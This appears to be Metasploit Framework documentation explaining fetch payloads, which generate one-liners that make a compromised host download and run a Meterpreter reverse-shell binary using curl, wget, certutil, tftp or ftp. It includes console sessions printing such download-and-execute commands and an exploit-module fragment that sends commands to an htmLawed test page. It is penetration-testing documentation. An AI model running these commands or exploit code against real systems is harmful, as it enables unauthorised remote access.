Link Search Menu Expand Document

Fetch Payloads

What Are Fetch Payloads?

Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and transports, but we’ve added an optional fetch payload adapter on top to stage the payloads using a networking binary and server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a command injection or code execution vulnerability and a known binary with the ability to download and store a file.


In the following documentation, it is useful to agree on certain terms to use so we don’t get confused or confusing. Fetch Payload - The command to execute on the remote host to retrieve and execute the Served Payload Fetch Binary - The binary we are using on the remote host to download the Served Payload. Examples might be WGET, cURL, or Certutil. Fetch Protocol - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP. Fetch Listener - The server hosting the served payload. Fetch Handler - The same as Fetch Listener Served Payload - The underlying payload we want to execute. We also might call this the Adapted Payload. Served Payload Handler - The handler for the served payload. This is just a standard payload like meterpreter/reverse_tcp or shell_reverse_tcp.


Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you’d like to run on the remote host to download the served payload prior to execution.

Here is the naming convention for fetch payloads: <cmd>/<platform>/<fetch protocol>/served_payload For example: cmd/linux/https/x64/meterpreter/reverse_tcp Will do four things:

  1. Create a linux/x64/meterpreter/reverse_tcp elf binary to be the served payload.
  2. Serve the above served payload on an HTTPS server
  3. Start a served payload handler for the served payload to call back to
  4. Generate a command to execute on a remote host that will download the served payload and run it.

A Simple Stand-Alone Example

The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let’s assume a Linux target with the ability to connect back to us with an HTTP connection and a command execution vulnerability. First, let’s look at the payload in isolation:

msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options

Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):

Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME      YXeSdwsoEfOH     no        Name to use on remote system when storing payload
FETCH_SRVHOST          yes       Local IP to use for serving payload
FETCH_SRVPORT       8080             yes       Local port to use for serving payload
FETCH_URIPATH                        no        Local URI to use for serving payload
FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload
LHOST                                yes       The listen address (an interface may be specified)
LPORT               4444             yes       The listen port

View the full module info with the info, or info -d command.

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 


FETCH_COMMAND is the binary we wish to run on the remote host to download the adapted payload. Currently, the supported options are CURL FTP TFTP TNFTP WGET on Linux hosts and CURL TFTP CERTUTIL on Windows hosts. We’ll get into more details on the binaries later. FETCH_FILENAME is the name you’d like the executable payload saved as on the remote host. This option is not supported by every binary and must end in .exe on Windows hosts. The default value is random. FETCH_SRVHOST is the IP where the server will listen. FETCH_SRVPORT is the port where the server will listen. FETCH_URIPATH is the URI corresponding to the payload file. The default value is deterministic based on the underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying served payload is the same. FETCH_WRITABLE_DIR is the directory on the remote host where we’d like to store the served payload prior to execution. This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.

The remaining options will be the options available to you in the served payload; in this case our served payload is linux/x64/meterpreter/reverse_tcp so our only added options are LHOST and LPORT. If we had selected a different payload, we would see different options.

Generating the Fetch Payload

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

You can see the fetch payload generated: wget -qO ./YXeSdwsoEfOH; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH & This command downloads the served payload, marks it as executable, and then executes it on the remote host.

Starting the Fetch Server

When you start the Fetch Handler, it starts both the server hosting the binary payload and the listener for the served payload. With verbose set to true, you can see both the Fetch Handler and the Served Payload Handler are started:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on
[*] http server started
[*] Started reverse TCP handler on 

Fetch Handlers and Served Payload Handlers

The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under Jobs, even though the Fetch Handler is listening:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l


  Id  Name                    Payload                                     Payload opts
  --  ----                    -------                                     ------------
  0   Exploit: multi/handler  cmd/linux/http/x64/meterpreter/reverse_tcp  tcp://

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000

tcp        0      0*               LISTEN     

Killing the Served Payload handler will kill the Fetch Handler as well:

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

Using Fetch Payloads on the Fly

One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly, without relying on a session in framework or having to get a payload on target. If you have a shell session or even a really odd situation where you can execute commands, you can get a session in framework quickly without having to upload a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.

Using it in an exploit

Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch payloads for a given platform by adding a target that supports ARCH_CMD and the desired platform, either windows or linux. Once the target has been added, you can get access to the command by invoking payload.encoded and use it as the command to execute on the remote target.

Example paired with CmdStager

There is likely to be some overlap between fetch payloads and command stagers. Let’s talk briefly about how to support both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command stagers. in this case, I’m only documenting the changes to make so that fetch payloads will work alongside command stagers or to use fetch payloads in the style of command stagers, which I suggest you do.

In this case, I’ve modified the code provided in the command stager documentation to support both linux and unix command payloads. All I did was give an array value for the Platform value and change theType to something more generic:

'Targets'   =>
    [ 'Linux Command',
        'Arch' => [ ARCH_CMD ],
        'Platform' => [ 'unix', 'linux' ],
        'Type' => :nix_cmd

For the execute_command method, nothing changes:

def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'cookie' => 'sid=' + @sid,
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'token' => @token,
        'text' => cmd,
        'hhook' => 'exec',
        'sid' => @sid

The only change in the exploit method is the use of the more generic Type value in the case statement. Nothing else needs to change.

  def exploit
    print_status("Executing #{} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :nix_cmd
    when :linux_dropper

If you have an exploit that already supports Unix Command payloads and you’d like it to support Linux Command payloads like Fetch Payloads, you can simply add the linux value to the platform array:

'Nix Command',
    'Platform' => [ 'unix', 'linux' ],
    'Arch' => ARCH_CMD,
    'Type' => :unix_cmd,

Supported Commands

Windows And Linux Both


cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows targets. All options and server protocol types are supported by the cURL command.


The TFTP binary is useful only in edge cases because of a long list of limitations: 1) It is a Windows feature, but it is turned off by default on Windows Vista and later. 2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases. 3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured, nor does it allow for the destination filename to be configured, so FETCH_SRVPORT must always be set to 69 and FETCH_WRITABLE_DIR and FETCH_FILENAME must be empty. Listening on port 69 in Framework can be problematic, so I suggest that you use the advanced option FetchListenerBindPort to start the server on a different port and redirect the connection with a tool like iptables to a high port. For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection on UDP port 69 to UDP port 3069: sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069 sudo iptables -t nat -I OUTPUT -p udp -d --dport 69 -j REDIRECT --to-ports 3069 Then, you can set FetchListenerBindPort to 3069 and get the callback correctly. 4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you start a tftp fetch handler, a new service will start:

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs


  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp:// & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4

[*] starting tftpserver on
[*] Started reverse TCP handler on 
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs


  Id  Name                    Payload                                       Payload opts
  --  ----                    -------                                       ------------
  2   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://
  4   Exploit: multi/handler  cmd/windows/tftp/x64/meterpreter/reverse_tcp  tcp://

msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0*                          
udp        0      0*                          
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler

[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp:// & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5

[*] starting tftpserver on
[*] Started reverse TCP handler on 
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080

udp        0      0*                          
udp        0      0*                          
udp        0      0*                          

There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port, and FETCH_URI value but serving different payloads. This will result in a race condition where the payload served is non-deterministic.

Windows Only


Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports HTTP and HTTPS protocols.

Linux Only


FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it may not be appropriate for older systems.


TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are present on a system, so the command will be tnftp rather than ftp.


WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options. It is ubiquitous on Linux hosts and very standard, making it an excellent choice.